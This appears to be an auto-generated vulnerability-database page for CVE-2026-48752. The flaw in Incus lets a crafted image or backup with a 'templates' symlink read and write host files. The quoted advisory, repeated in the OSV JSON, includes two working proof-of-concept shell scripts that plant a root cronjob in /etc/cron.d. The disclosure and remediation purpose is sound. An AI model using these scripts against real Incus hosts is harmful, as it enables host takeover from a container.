CVE-2026-48752: Github.com/lxc/incus/v7/cmd/incusd Incus Has Arbitrary File Read+write Vulnerability

CRITICAL
Advisory Identifier: GHSA-vxp5-584q-c479
CVSS 9.9
CWE-73
Published
Advisory Summary

CVE-2026-48752 is a CRITICAL (CVSS 9.9) incus has arbitrary file read+write vulnerability (CWE-73: External Control of File Name or Path) affecting Github.com/lxc/incus/v7/cmd/incusd libraries in the Go ecosystem. The issue involves incus has arbitrary file read+write on host via templates/ symlink in malicious image. Remediation is available by upgrading affected packages to version 7.2.0.

CVE-2026-48752 at a Glance

CVE Identifier CVE-2026-48752
GHSA Identifier GHSA-vxp5-584q-c479
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Github.com/lxc/incus/v7/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-48752

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v7/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v7/cmd/incusd fixed: 7.2.0
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48752, inspect your project dependencies for Github.com/lxc/incus/v7/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v7/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Github.com/lxc/incus/v7/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC #### Malicious container image Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` #### Malicious instance backup Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/backup" cat<<__EOF__>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false __EOF__ mkdir "${tmpdir}/img/backup/container" cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x86_64 type: container status: Stopped status_code: 102 stateful: false ephemeral: false profiles: - default config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expanded_config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expanded_devices: root: path: / pool: default type: disk created_at: "2024-01-01T00:00:00Z" last_used_at: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container content_type: filesystem config: {} pool: name: default driver: dir config: {} __EOF__ cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: afrw-backup-templates-symlink __EOF__ mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates" cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink incus config template ls afrw-backup-templates-symlink # read #incus config template show afrw-backup-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

CVE-2026-48752 Affected Github.com/lxc/incus/v7/cmd/incusd Versions

1 component(s)
Fixed Versions:
7.2.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v7/cmd/incusd
Go
< 7.2.0
7.2.0

References

Frequently Asked Questions

What is CVE-2026-48752?
CVE-2026-48752 is a security vulnerability in Github.com/lxc/incus/v7/cmd/incusd involving Incus has arbitrary file read+write on host via templates/ symlink in malicious image under CWE-73: External Control of File Name or Path.
Which Github.com/lxc/incus/v7/cmd/incusd versions are affected?
Affected versions include releases prior to 7.2.0 across affected packages: github.com/lxc/incus/v7/cmd/incusd.
What version fixes CVE-2026-48752?
Upgrading to 7.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v7/cmd/incusd affected?
Yes, github.com/lxc/incus/v7/cmd/incusd is affected in releases prior to 7.2.0. Upgrade your dependency to 7.2.0 or later.
What is the CVSS score of CVE-2026-48752?
CVE-2026-48752 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-48752?
CVE-2026-48752 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check Go dependencies for CVE-2026-48752?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v7/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vxp5-584q-c479",
  "modified" : "2026-06-26T18:46:31Z",
  "published" : "2026-06-26T18:46:31Z",
  "aliases" : [ "CVE-2026-48752" ],
  "summary" : "Incus has arbitrary file read+write on host via templates/ symlink in malicious image",
  "details" : "### Summary\n\nA specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.\n\nFor instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.\n\n\n### PoC\n\n#### Malicious container image\n\nBelow, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n#### Malicious instance backup\n\n\nBelow, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/backup\"\ncat<<__EOF__>\"${tmpdir}/img/backup/index.yaml\"\nname: afrw-backup-templates-symlink\nbackend: dir\npool: default\ntype: container\noptimized: false\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container\"\ncat<<__EOF__>\"${tmpdir}/img/backup/container/backup.yaml\"\ncontainer:\n  name: afrw-backup-templates-symlink\n  architecture: x86_64\n  type: container\n  status: Stopped\n  status_code: 102\n  stateful: false\n  ephemeral: false\n  profiles:\n    - default\n  config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  expanded_config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  devices: {}\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  created_at: \"2024-01-01T00:00:00Z\"\n  last_used_at: \"2024-01-01T00:00:00Z\"\nvolume:\n  name: afrw-backup-templates-symlink\n  type: container\n  content_type: filesystem\n  config: {}\npool:\n  name: default\n  driver: dir\n  config: {}\n__EOF__\n\ncat<<__EOF__>\"${tmpdir}/img/backup/container/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: afrw-backup-templates-symlink\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/backup/container/templates\"\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar\nincus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink\n\nincus config template ls afrw-backup-templates-symlink\n\n# read\n#incus config template show afrw-backup-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-backup-templates-symlink poc-32\n#incus config template edit afrw-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T18:46:31Z",
    "nvd_published_at" : null
  }
}